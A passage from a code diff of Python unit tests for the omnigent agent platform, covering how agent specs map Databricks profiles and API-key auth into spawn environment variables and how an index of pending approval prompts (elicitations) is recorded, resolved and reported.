assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "DEFAULT"
def test_databricks_model_ignores_env_profile(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
Ambient ``DATABRICKS_CONFIG_PROFILE`` does NOT steer the auto-Databricks
routing — credentials are controlled by the spec or by ``omnigent
setup`` provider config, never by shell environment. A databricks-*
model with no spec profile routes via the SDK ``DEFAULT`` profile.
"""
monkeypatch.setenv("DATABRICKS_CONFIG_PROFILE", "my-env-profile")
env = _build_openai_agents_sdk_spawn_env(
_make_spec(model="databricks-kimi-k2-6", profile=None)
)
# "DEFAULT" (not "my-env-profile") proves the env var no longer
# controls model provisioning; "my-env-profile" here would mean the
# removed ambient-env fallback was reintroduced.
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "DEFAULT"
def test_explicit_profile_wins_over_auto_default() -> None:
"""An explicit profile takes precedence over the auto-DEFAULT for ``databricks-`` models."""
env = _build_openai_agents_sdk_spawn_env(
_make_spec(model="databricks-kimi-k2-6", profile="staging")
)
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "staging"
def test_non_databricks_model_without_profile_omits_profile_env_var() -> None:
"""Non-``databricks-`` models without a profile omit the profile env var."""
env = _build_openai_agents_sdk_spawn_env(_make_spec(model="gpt-5.4", profile=None))
assert "HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE" not in env
def test_use_responses_false_encodes_as_false_string() -> None:
"""``use_responses: false`` encodes as the string ``"false"``."""
env = _build_openai_agents_sdk_spawn_env(_make_spec(use_responses=False))
assert env["HARNESS_OPENAI_AGENTS_USE_RESPONSES"] == "false"
def test_use_responses_true_encodes_as_true_string() -> None:
"""``use_responses: true`` encodes as the string ``"true"``."""
env = _build_openai_agents_sdk_spawn_env(_make_spec(use_responses=True))
assert env["HARNESS_OPENAI_AGENTS_USE_RESPONSES"] == "true"
def test_use_responses_absent_omits_env_var() -> None:
"""When ``use_responses`` is unset, the env var is omitted (harness default applies)."""
env = _build_openai_agents_sdk_spawn_env(_make_spec(use_responses=None))
assert "HARNESS_OPENAI_AGENTS_USE_RESPONSES" not in env
def test_no_model_produces_no_model_env_var() -> None:
"""A spec with no model produces no ``HARNESS_OPENAI_AGENTS_MODEL`` env var."""
env = _build_openai_agents_sdk_spawn_env(_make_spec(model=None))
assert "HARNESS_OPENAI_AGENTS_MODEL" not in env
def test_profile_injects_ucode_state(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""Profile-backed runs read OpenAI-compatible model and base URL from ucode.
:param monkeypatch: Pytest monkeypatch fixture.
"""
from omnigent.onboarding.ucode_state import UcodeAgentState, UcodeWorkspaceState
state = UcodeWorkspaceState(
workspace_url="https://example.databricks.com",
claude_models={},
codex_models=["databricks-gpt-test"],
base_urls={"codex": "https://example.databricks.com/ai-gateway/codex/v1"},
available_tools=["codex"],
agents={
"codex": UcodeAgentState(
model="databricks-gpt-test",
base_url="https://example.databricks.com/ai-gateway/codex/v1",
auth_command="printf token",
)
},
)
monkeypatch.setattr(
"omnigent.runtime.workflow.get_workspace_url_for_profile",
lambda profile: "https://example.databricks.com",
)
monkeypatch.setattr(
"omnigent.runtime.workflow.read_ucode_state",
lambda workspace_url: state,
)
env = _build_openai_agents_sdk_spawn_env(_make_spec(model=None, profile="test-profile"))
assert env["HARNESS_OPENAI_AGENTS_MODEL"] == "databricks-gpt-test"
assert (
env["HARNESS_OPENAI_AGENTS_GATEWAY_BASE_URL"]
== "https://example.databricks.com/ai-gateway/codex/v1"
)
assert env["HARNESS_OPENAI_AGENTS_GATEWAY_HOST"] == "https://example.databricks.com"
assert env["HARNESS_OPENAI_AGENTS_GATEWAY_AUTH_COMMAND"] == "printf token"
# ---------------------------------------------------------------------------
# executor.auth tests
# ---------------------------------------------------------------------------
def test_databricks_auth_sets_profile_env_var() -> None:
"""
``executor.auth: {type: databricks, profile: oss}`` sets
``HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE`` and does NOT set the
API key env var.
Failure means DatabricksAuth on the spec is silently dropped and
the harness falls back to env-var auth instead of the explicit profile.
"""
spec = _make_spec(
model="databricks-gpt-5-4-mini",
auth=DatabricksAuth(profile="oss"),
)
env = _build_openai_agents_sdk_spawn_env(spec)
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "oss"
assert "HARNESS_OPENAI_AGENTS_API_KEY" not in env
def test_api_key_auth_sets_api_key_env_var() -> None:
"""
``executor.auth: {type: api_key, api_key: sk-test}`` sets
``HARNESS_OPENAI_AGENTS_API_KEY`` and does NOT set the Databricks
profile env var.
Failure means ApiKeyAuth on the spec is silently dropped and the
harness falls back to ambient OPENAI_API_KEY resolution instead.
"""
spec = _make_spec(
model="gpt-4o",
auth=ApiKeyAuth(api_key="sk-test-456"),
)
env = _build_openai_agents_sdk_spawn_env(spec)
assert env["HARNESS_OPENAI_AGENTS_API_KEY"] == "sk-test-456"
assert "HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE" not in env
def test_spec_auth_takes_precedence_over_global_config(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
When the spec declares ``executor.auth``, the global config auth
block is ignored.
Failure means per-spec auth is silently overridden by the global
config, breaking spec self-containment.
"""
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
cfg_path.write_text(
_yaml.dump({"auth": {"type": "databricks", "profile": "global-profile"}})
)
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
spec = _make_spec(
model="databricks-gpt-5-4-mini",
auth=DatabricksAuth(profile="spec-profile"),
)
env = _build_openai_agents_sdk_spawn_env(spec)
# Spec-level profile must win over global config profile.
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "spec-profile"
def test_global_config_auth_used_when_spec_auth_absent(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
When the spec has no ``executor.auth``, the global config ``auth:``
block provides the fallback credentials.
Failure means users must declare auth in every agent YAML and
cannot rely on the once-configured global default from
``omnigent setup``.
"""
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
cfg_path.write_text(
_yaml.dump({"auth": {"type": "databricks", "profile": "global-profile"}})
)
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
monkeypatch.delenv("DATABRICKS_CONFIG_PROFILE", raising=False)
spec = _make_spec(model="databricks-gpt-5-4-mini", auth=None, profile=None)
env = _build_openai_agents_sdk_spawn_env(spec)
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "global-profile"
def test_load_global_auth_databricks(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``_load_global_auth()`` returns a :class:`DatabricksAuth` when the
config file has ``auth: {type: databricks, profile: …}``.
"""
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
cfg_path.write_text(_yaml.dump({"auth": {"type": "databricks", "profile": "my-profile"}}))
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
result = _load_global_auth()
assert isinstance(result, DatabricksAuth)
assert result.profile == "my-profile"
def test_load_global_auth_api_key(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``_load_global_auth()`` returns an :class:`ApiKeyAuth` when the
config file has ``auth: {type: api_key, api_key: …}`` and expands
env-var references.
"""
monkeypatch.setenv("MY_GLOBAL_KEY", "sk-global-999")
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
cfg_path.write_text(_yaml.dump({"auth": {"type": "api_key", "api_key": "$MY_GLOBAL_KEY"}}))
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
result = _load_global_auth()
assert isinstance(result, ApiKeyAuth)
assert result.api_key == "sk-global-999"
def test_global_config_auth_not_applied_when_spec_has_legacy_profile(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
When the spec declares a profile via the legacy ``executor.config["profile"]``
path, the global config ``auth:`` block is ignored.
Failure means a YAML like ``executor.profile: oss`` silently has its
Databricks profile overridden by an api_key in the user's global
config — the agent then hits ``api.openai.com`` instead of the
Databricks gateway and gets an auth error.
"""
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
# Global config has api_key auth — should NOT apply when spec has a profile.
cfg_path.write_text(_yaml.dump({"auth": {"type": "api_key", "api_key": "sk-global"}}))
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
monkeypatch.delenv("DATABRICKS_CONFIG_PROFILE", raising=False)
# Spec declares profile via the legacy config dict (omnigent compat path).
spec = _make_spec(model="databricks-gpt-5-4-mini", profile="oss", auth=None)
env = _build_openai_agents_sdk_spawn_env(spec)
# Legacy profile must be used; api_key from global config must be absent.
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "oss"
assert "HARNESS_OPENAI_AGENTS_API_KEY" not in env
def test_load_global_auth_missing_file(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""``_load_global_auth()`` returns ``None`` when no config file exists."""
with tempfile.TemporaryDirectory() as td:
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
result = _load_global_auth()
assert result is None
def test_load_global_auth_api_key_with_base_url(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``_load_global_auth()`` parses ``base_url`` from the global config
and expands env-var references in it.
Failure means a user who configures a custom endpoint in
``~/.omnigent/config.yaml`` via an env-var reference has the
literal ``$VAR`` string passed as the base URL.
"""
monkeypatch.setenv("MY_GLOBAL_KEY", "sk-global-abc")
monkeypatch.setenv("MY_BASE_URL", "https://my-gateway.example.com/v1")
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
cfg_path.write_text(
_yaml.dump(
{
"auth": {
"type": "api_key",
"api_key": "$MY_GLOBAL_KEY",
"base_url": "$MY_BASE_URL",
}
}
)
)
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
result = _load_global_auth()
assert isinstance(result, ApiKeyAuth)
assert result.api_key == "sk-global-abc"
assert result.base_url == "https://my-gateway.example.com/v1"
def test_load_global_auth_unresolved_env_var_raises(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``_load_global_auth()`` raises when ``api_key`` contains an unresolved
``$VAR`` reference (the env var is not set).
Failure means a config with ``api_key: $MISSING_KEY`` silently passes
the literal ``$MISSING_KEY`` string to the API, producing a confusing
401 "invalid API key" error rather than a clear configuration error.
"""
from omnigent.errors import OmnigentError
monkeypatch.delenv("MISSING_KEY", raising=False)
with tempfile.TemporaryDirectory() as td:
cfg_path = Path(td) / "config.yaml"
cfg_path.write_text(_yaml.dump({"auth": {"type": "api_key", "api_key": "$MISSING_KEY"}}))
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", td)
with pytest.raises(OmnigentError):
_load_global_auth()
def test_api_key_auth_base_url_sets_base_url_env_var() -> None:
"""
``executor.auth: {type: api_key, base_url: …}`` writes
``HARNESS_OPENAI_AGENTS_GATEWAY_BASE_URL`` alongside the API key.
Failure means the custom endpoint declared in the spec is silently
dropped and the executor uses the default OpenAI endpoint instead.
"""
spec = _make_spec(
model="gpt-4o",
auth=ApiKeyAuth(api_key="sk-test-789", base_url="https://my-gw.example.com/v1"),
)
env = _build_openai_agents_sdk_spawn_env(spec)
assert env["HARNESS_OPENAI_AGENTS_API_KEY"] == "sk-test-789"
assert env["HARNESS_OPENAI_AGENTS_GATEWAY_BASE_URL"] == "https://my-gw.example.com/v1"
def test_api_key_auth_without_base_url_omits_base_url_env_var() -> None:
"""
When ``executor.auth.base_url`` is absent, the base-URL env var is
not written so the executor uses the default OpenAI endpoint.
"""
spec = _make_spec(model="gpt-4o", auth=ApiKeyAuth(api_key="sk-test-000"))
env = _build_openai_agents_sdk_spawn_env(spec)
assert env["HARNESS_OPENAI_AGENTS_API_KEY"] == "sk-test-000"
assert "HARNESS_OPENAI_AGENTS_GATEWAY_BASE_URL" not in env
+688
View File
@@ -0,0 +1,688 @@
"""
Unit tests for :mod:`omnigent.runtime.pending_elicitations`.
The pending-elicitations index is a per-conversation set of
outstanding elicitation ids that powers the sidebar's "needs
attention" badge. Tests here pin its core invariants directly:
* :func:`record_publish` only acts on
``response.elicitation_request`` events and silently ignores
every other type — it sits on the hot SSE publish path.
* :func:`resolve` removes ids, is idempotent, and cleans up
empty conversation sets so :func:`count_for` returns ``0``
cleanly.
* :func:`counts_for` is a one-pass batch lookup that includes
every requested id (0 for untracked).
The wire-up between :func:`omnigent.runtime.session_stream.publish`
and the index lives in
:file:`tests/runtime/test_session_stream.py`; this file tests the
module in isolation.
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.runtime import pending_elicitations
@pytest.fixture(autouse=True)
def _clean_pending_elicitations_index() -> None:
"""
Reset the module-global pending-elicitations dict between tests.
The index is process-global; without this fixture, a test that
leaks an entry would silently change the behavior of every
later test by inflating counts.
"""
pending_elicitations.reset_for_tests()
yield
pending_elicitations.reset_for_tests()
def _elicit_event(elicitation_id: str, tool_name: str | None = None) -> dict[str, Any]:
"""
Build a minimal ``response.elicitation_request`` event dict.
The real event carries a ``params`` block; most index bookkeeping
only reads ``type`` and ``elicitation_id`` so the ``params`` are
omitted unless ``tool_name`` is supplied.
:param elicitation_id: Correlation id to embed,
e.g. ``"elicit_abc"``.
:param tool_name: When set, stamped onto a ``params`` block as the
gated tool name that the UI can render. Left off by callers
exercising id-only bookkeeping (and to model server-emitted
policy elicitations, which carry no tool name).
:returns: An event dict shaped like the SSE payload.
"""
event: dict[str, Any] = {
"type": "response.elicitation_request",
"elicitation_id": elicitation_id,
}
if tool_name is not None:
event["params"] = {"tool_name": tool_name}
return event
def test_record_publish_increments_count_for_elicitation_event() -> None:
"""
An elicitation_request event with a valid id increments
the per-conversation count by one — this is the primary
"session needs attention" signal.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
# The session now has one outstanding prompt; the sidebar
# should render a badge of "1" — anything other than 1 here
# means the publish-time increment isn't taking.
assert pending_elicitations.count_for("conv_a") == 1
def test_record_publish_is_idempotent_on_repeat_publish() -> None:
"""
Re-publishing the same elicitation_id does not double-count.
The underlying container is a set, so the second add is a
no-op. This matters because callers can re-publish on
reconnect or retry, and a duplicate id should not inflate
the badge.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
# Still 1 — if 2, the index is using a list/Counter and
# the sidebar would over-badge sessions on republish.
assert pending_elicitations.count_for("conv_a") == 1
def test_record_publish_tracks_multiple_distinct_ids() -> None:
"""
Multiple distinct ids on the same conversation accumulate.
A session can have several approvals queued (e.g. a tool
chain that asks for permission on each step).
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_2"))
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_3"))
# 3 = three distinct elicitation ids on one session. If 1,
# ids are clobbering each other (e.g. dict-keyed by conv
# only); if 2, one id was filtered out unexpectedly.
assert pending_elicitations.count_for("conv_a") == 3
@pytest.mark.parametrize(
"event",
[
{"type": "response.output_text.delta", "delta": "hi"},
{"type": "session.status", "status": "running"},
{"type": "response.completed"},
# Defensive — an event payload missing the type field at
# all should be silently ignored, not crash.
{"elicitation_id": "elicit_x"},
],
)
def test_record_publish_ignores_non_elicitation_events(event: dict[str, Any]) -> None:
"""
Non-elicitation events do not touch the index.
record_publish sits on the hot publish path — every text
delta, status, and tool event flows through it. Only
``response.elicitation_request`` events should mutate state.
"""
pending_elicitations.record_publish("conv_a", event)
# The conversation should never appear in the index for
# non-elicitation events. count_for returning > 0 here
# would mean the type filter is broken — every text delta
# would inflate the sidebar badge.
assert pending_elicitations.count_for("conv_a") == 0
@pytest.mark.parametrize(
"bad_id",
[None, "", 42, {"nested": "value"}, []],
)
def test_record_publish_ignores_invalid_elicitation_id(bad_id: Any) -> None:
"""
A malformed elicitation_id is silently dropped, not tracked.
The index keys on the id string; a non-string or empty
value can't be matched by ``resolve`` later, so tracking it
would create a permanent phantom entry. Drop loudly via
return rather than raising — the SSE publish path must
not throw.
"""
event: dict[str, Any] = {
"type": "response.elicitation_request",
"elicitation_id": bad_id,
}
pending_elicitations.record_publish("conv_a", event)
# Index unchanged — a phantom entry here would render a
# badge the user can never clear.
assert pending_elicitations.count_for("conv_a") == 0
def test_resolve_removes_outstanding_id() -> None:
"""
Resolving a tracked id drops the per-session count back to zero.
This is what fires when the user accepts/rejects in the UI —
the Omnigent server's approval dispatch calls
:func:`resolve` and the sidebar badge should clear on the
next poll.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.resolve("conv_a", "elicit_1")
# 0 = the verdict landed and the badge clears. If 1, the
# decrement isn't taking and stale badges accumulate.
assert pending_elicitations.count_for("conv_a") == 0
def test_resolve_is_idempotent_on_unknown_id() -> None:
"""
Resolving an unknown id is a no-op, never an error.
The approval dispatch path doesn't gate its resolve call on
whether the id is in the index (e.g. when running in
multi-replica mode, the id may live on a different
replica). The function must accept unknown ids silently.
"""
# No tracked state — resolve must not raise.
pending_elicitations.resolve("conv_a", "elicit_never_tracked")
assert pending_elicitations.count_for("conv_a") == 0
def test_resolve_drops_empty_conversation_set() -> None:
"""
After every id for a conversation is resolved, the
conversation key is removed so :func:`count_for` can
return 0 without leaving stale empty sets behind. This
keeps memory bounded in long-running processes that see
elicitations across many sessions.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.resolve("conv_a", "elicit_1")
# Probe internals via the public API — count is 0 either way,
# but check the dict directly to confirm the key was popped.
# If the key is still present (empty set), memory leaks
# accumulate one entry per resolved conversation forever.
assert "conv_a" not in pending_elicitations._pending
def test_resolve_keeps_other_ids_on_same_conversation() -> None:
"""
Resolving one id of N leaves the other N-1 in place.
A multi-step tool chain may have multiple approvals
outstanding; one verdict shouldn't clear the rest.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_2"))
pending_elicitations.resolve("conv_a", "elicit_1")
# 1 = only the resolved id was removed. If 0, resolve is
# clobbering the whole conversation; if 2, it isn't
# decrementing at all.
assert pending_elicitations.count_for("conv_a") == 1
def test_counts_for_returns_zero_for_untracked_sessions() -> None:
"""
Batch lookup includes every requested id in the result,
even ones with no tracked elicitations.
The list_sessions handler relies on this — it iterates the
full page of sessions and looks up each id by key. A
missing entry in the result would either KeyError or
silently default — both surprising.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
counts = pending_elicitations.counts_for(["conv_a", "conv_b", "conv_c"])
# Tracked session reports its real count; untracked
# sessions report 0 explicitly. If conv_b or conv_c are
# missing from the dict, the handler's `.get(id, 0)` would
# paper it over, but the contract is to return all ids.
assert counts == {"conv_a": 1, "conv_b": 0, "conv_c": 0}
def test_counts_for_handles_empty_input() -> None:
"""
An empty session list returns an empty mapping, not a
KeyError or a snapshot of the whole index. Matches what
list_sessions does when its page is empty.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
counts = pending_elicitations.counts_for([])
# Empty input → empty output. If this returns the full
# index, the route layer would over-report counts for
# sessions the caller didn't ask about.
assert counts == {}
def test_conversations_are_independent() -> None:
"""
An elicitation on one conversation does not affect another.
Cross-session leakage would mean the sidebar lights up
every row whenever any session gets a prompt.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_a"))
pending_elicitations.record_publish("conv_b", _elicit_event("elicit_b"))
pending_elicitations.resolve("conv_a", "elicit_a")
# conv_a cleared, conv_b untouched. If conv_b is 0, the
# resolve scope is too wide; if conv_a is still 1, the
# resolve missed.
assert pending_elicitations.count_for("conv_a") == 0
assert pending_elicitations.count_for("conv_b") == 1
def test_record_publish_clears_index_on_elicitation_resolved_event() -> None:
"""
A ``response.elicitation_resolved`` event flowing through the
publish chokepoint clears the matching index entry.
The runner emits this event from the ``finally`` block of its
own approval wait — that's the only signal the Omnigent server gets
when the runner's Future was cancelled / timed out without a
UI verdict. If the type filter doesn't match this event, the
badge stays stuck after the runner gives up.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
assert pending_elicitations.count_for("conv_a") == 1
pending_elicitations.record_publish(
"conv_a",
{
"type": "response.elicitation_resolved",
"elicitation_id": "elicit_1",
},
)
# 0 = the resolve branch fired. If 1, the publish chokepoint
# ignored the resolved event and the badge would stay stuck
# after every runner-side timeout / cancellation.
assert pending_elicitations.count_for("conv_a") == 0
def test_record_publish_handles_resolved_event_for_unknown_id() -> None:
"""
A ``response.elicitation_resolved`` event for an id that was
never tracked is a silent no-op — the runner can fire-and-
forget at every Future cleanup without coordinating with the
Omnigent server's view of what's currently tracked.
"""
pending_elicitations.record_publish(
"conv_a",
{
"type": "response.elicitation_resolved",
"elicitation_id": "elicit_never_seen",
},
)
# 0 and no exception — if this raised, the runner's
# fire-and-forget contract would be broken.
assert pending_elicitations.count_for("conv_a") == 0
def test_snapshot_for_returns_full_event_payloads() -> None:
"""
:func:`snapshot_for` returns the event dicts originally passed
to :func:`record_publish`, in insertion order, so cold-load
callers can replay them into the UI's block stream.
Catches a regression where the index drops the params payload
and only retains the id — that would render an empty
ApprovalCard with no prompt text.
"""
event_one = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_first",
"params": {"message": "Approve tool A?", "mode": "form"},
}
event_two = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_second",
"params": {"message": "Approve tool B?", "mode": "form"},
}
pending_elicitations.record_publish("conv_a", event_one)
pending_elicitations.record_publish("conv_a", event_two)
snapshot = pending_elicitations.snapshot_for("conv_a")
# Both payloads survive, in publish order. If the order is
# reversed or one is missing, the UI's cold-load replay would
# show prompts in the wrong order or drop one entirely.
assert len(snapshot) == 2
assert snapshot[0]["elicitation_id"] == "elicit_first"
assert snapshot[0]["params"]["message"] == "Approve tool A?"
assert snapshot[1]["elicitation_id"] == "elicit_second"
assert snapshot[1]["params"]["message"] == "Approve tool B?"
def test_snapshot_for_returns_empty_for_untracked_session() -> None:
"""
Sessions with no outstanding prompts return an empty list, not
a KeyError. The route handler reads the snapshot unconditionally
on every ``GET /v1/sessions/{id}`` — raising would break the
snapshot for every session.
"""
assert pending_elicitations.snapshot_for("conv_nonexistent") == []
def test_pending_session_ids_tracks_publish_and_resolve() -> None:
"""
The id list mirrors the index lifecycle exactly.
``GET /v1/sessions/{id}`` uses this list to decide whether the
(DB-querying) descendant walk for child approval mirroring can be
skipped. A stale id left after resolve would re-trigger the walk
forever; a missing id would hide a child's pending prompt from
ancestor snapshots.
"""
# Empty index → empty list; this is the common steady state the
# snapshot route uses to skip the descendant walk entirely.
assert pending_elicitations.pending_session_ids() == []
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.record_publish("conv_b", _elicit_event("elicit_2"))
assert sorted(pending_elicitations.pending_session_ids()) == ["conv_a", "conv_b"]
pending_elicitations.resolve("conv_a", "elicit_1")
# conv_a's only prompt resolved → its id must drop out, otherwise
# every snapshot of conv_a's tree keeps paying the DB walk.
assert pending_elicitations.pending_session_ids() == ["conv_b"]
def test_record_publish_ignores_tool_observations_for_pending_prompt() -> None:
"""
Forwarded tool transcript events do not resolve pending prompts.
Claude-native can publish a same-tool ``function_call`` before the
PermissionRequest hook has returned. Treating that observation as a
permission decision caused the hook to return ``deny``. The index
should only clear on explicit id resolution or
``response.elicitation_resolved``.
"""
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_edit", "Edit"))
pending_elicitations.record_publish(
"conv_a",
{
"type": "function_call",
"name": "Edit",
"call_id": "toolu_edit_pre_permission",
},
)
pending_elicitations.record_publish(
"conv_a",
{
"type": "function_call_output",
"call_id": "toolu_edit_pre_permission",
"output": "ok",
},
)
# Still 1: neither the same-tool call nor its result is an approval
# verdict. If this becomes 0, transcript observation is again being
# confused with permission resolution.
assert pending_elicitations.count_for("conv_a") == 1
def test_project_for_peek_form_mode_surfaces_prompt_and_fields() -> None:
"""
A form-mode elicitation projects to a compact item carrying the
prompt text and the requested field names.
This is what ``sys_session_get_history`` appends so a parent agent
sees that a sub-agent is parked awaiting input, *and* what it's being
asked. If ``fields`` is missing or ``prompt`` is ``None`` the
parent learns the sub-agent is blocked but not on what — a weaker
signal than the index actually holds.
"""
event = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_bio",
"params": {
"mode": "form",
"message": "Answer 3 questions on human biology",
"requestedSchema": {
"type": "object",
"properties": {"q1": {"type": "string"}, "q2": {"type": "string"}},
},
},
}
item = pending_elicitations.project_for_peek(event)
# type discriminator distinguishes the synthetic item from the
# message / function_call items in the same peek list.
assert item["type"] == "pending_elicitation"
assert item["elicitation_id"] == "elicit_bio"
# prompt is the human-facing message — proves the params.message
# made it through, not a None/empty placeholder.
assert item["prompt"] == "Answer 3 questions on human biology"
# fields lists the schema's property keys in order; a missing key
# or wrong order means the schema walk regressed.
assert item["fields"] == ["q1", "q2"]
@pytest.mark.parametrize(
"params",
[
# url mode: no requestedSchema at all.
{"mode": "url", "message": "Authorize at the link", "url": "https://x"},
# form mode but the schema declares no properties.
{"mode": "form", "message": "Confirm?", "requestedSchema": {"type": "object"}},
# form mode with an empty properties dict.
{"mode": "form", "message": "Confirm?", "requestedSchema": {"properties": {}}},
],
)
def test_project_for_peek_omits_fields_when_no_properties(params: dict[str, Any]) -> None:
"""
When the elicitation declares no requested fields, ``fields`` is
omitted entirely rather than emitted as an empty list.
Keeps the peek item minimal: a ``"fields": []`` would suggest the
sub-agent is asking for structured input when it isn't (url-mode
OAuth, or a bare confirm). The prompt still surfaces so the parent
knows the sub-agent is waiting.
"""
event = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_x",
"params": params,
}
item = pending_elicitations.project_for_peek(event)
assert item["type"] == "pending_elicitation"
assert item["prompt"] == params["message"]
# No fields key — not an empty list. ``"fields" in item`` being
# True here means the empty-properties guard regressed.
assert "fields" not in item
def test_project_for_peek_tolerates_missing_params() -> None:
"""
An event with no ``params`` block projects to ``prompt=None`` and
no ``fields``, without raising.
The projector runs on the peek hot path over whatever the snapshot
returned; a malformed/legacy payload must degrade to "blocked, no
detail" rather than throwing and failing the whole peek.
"""
item = pending_elicitations.project_for_peek(
{"type": "response.elicitation_request", "elicitation_id": "elicit_bare"}
)
assert item == {
"type": "pending_elicitation",
"elicitation_id": "elicit_bare",
"prompt": None,
}
def test_set_elicitation_observer_runs_for_request_and_resolved() -> None:
"""
A registered observer fires once per ``record_publish`` of a
request or resolved event, with the same ``(conv_id, event)``
arguments. Other event types are filtered out before the
observer is consulted, so the wake notifier never sees noise
from text deltas / status updates / unrelated server events.
"""
seen: list[tuple[str, str | None]] = []
def _observer(conv_id: str, event: dict[str, Any]) -> None:
"""Record the (conv, type) pair for each observed event."""
seen.append((conv_id, event.get("type")))
pending_elicitations.set_elicitation_observer(_observer)
try:
# Request fires once, resolved fires once, junk events do not.
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
pending_elicitations.record_publish(
"conv_a",
{"type": "response.elicitation_resolved", "elicitation_id": "elicit_1"},
)
pending_elicitations.record_publish(
"conv_a", {"type": "response.output_text.delta", "delta": "hi"}
)
finally:
pending_elicitations.set_elicitation_observer(None)
# 2 == one request + one resolved. If 3, the type filter let a
# text delta through and the wake notifier would fire on every
# streamed token. If 1, the resolved-event branch is skipping the
# observer (observer is request-only) and the notifier would never
# re-arm.
assert seen == [
("conv_a", "response.elicitation_request"),
("conv_a", "response.elicitation_resolved"),
]
def test_set_elicitation_observer_none_clears_registration() -> None:
"""
Passing ``None`` clears the prior observer; a later publish must
not trigger the cleared callback.
"""
received: list[str] = []
def _observer(conv_id: str, event: dict[str, Any]) -> None:
"""Append every observed (conv_id) so we can assert call count."""
received.append(conv_id)
pending_elicitations.set_elicitation_observer(_observer)
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
# Confirms observer is wired before clearing — otherwise the
# later assertion is vacuous.
assert received == ["conv_a"]
pending_elicitations.set_elicitation_observer(None)
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_2"))
# Still one entry: the second publish bypassed the cleared
# observer. A second entry here would mean teardown leaks across
# Omnigent server lifespans (the lifespan callsite calls clear at
# shutdown).
assert received == ["conv_a"]
def test_reset_for_tests_clears_observer_registration() -> None:
"""
``reset_for_tests`` clears any registered observer.
Otherwise a test that registered an observer and forgot to clear
it would leak the callback into the next test, where it could
fire against unrelated state.
"""
received: list[str] = []
def _observer(conv_id: str, event: dict[str, Any]) -> None:
"""Append every observed conv_id so we can assert call count."""
received.append(conv_id)
pending_elicitations.set_elicitation_observer(_observer)
pending_elicitations.reset_for_tests()
pending_elicitations.record_publish("conv_a", _elicit_event("elicit_1"))
# Empty list: the observer was cleared by reset. If the
# received list has an entry, a leaked observer from a prior
# test would trigger spurious cross-test side effects.
assert received == []
def test_lookup_returns_matching_elicitation() -> None:
"""
:func:`lookup` returns ``(conversation_id, event)`` when the
elicitation id is outstanding.
The standalone approval page route uses this to render the prompt
from the in-memory index without a database round-trip.
"""
event = _elicit_event("elicit_xyz")
pending_elicitations.record_publish("conv_a", event)
result = pending_elicitations.lookup("elicit_xyz")
assert result is not None
conv_id, payload = result
assert conv_id == "conv_a"
assert payload["elicitation_id"] == "elicit_xyz"
def test_lookup_returns_none_for_unknown_id() -> None:
"""
:func:`lookup` returns ``None`` for an id that was never tracked
or has already been resolved, matching the 404-on-stale contract
of the standalone approval page.
"""
assert pending_elicitations.lookup("elicit_never") is None
def test_lookup_returns_none_after_resolve() -> None:
"""
Once an elicitation is resolved, :func:`lookup` no longer finds it.
The approval page should render a "resolved" message for stale ids.
"""
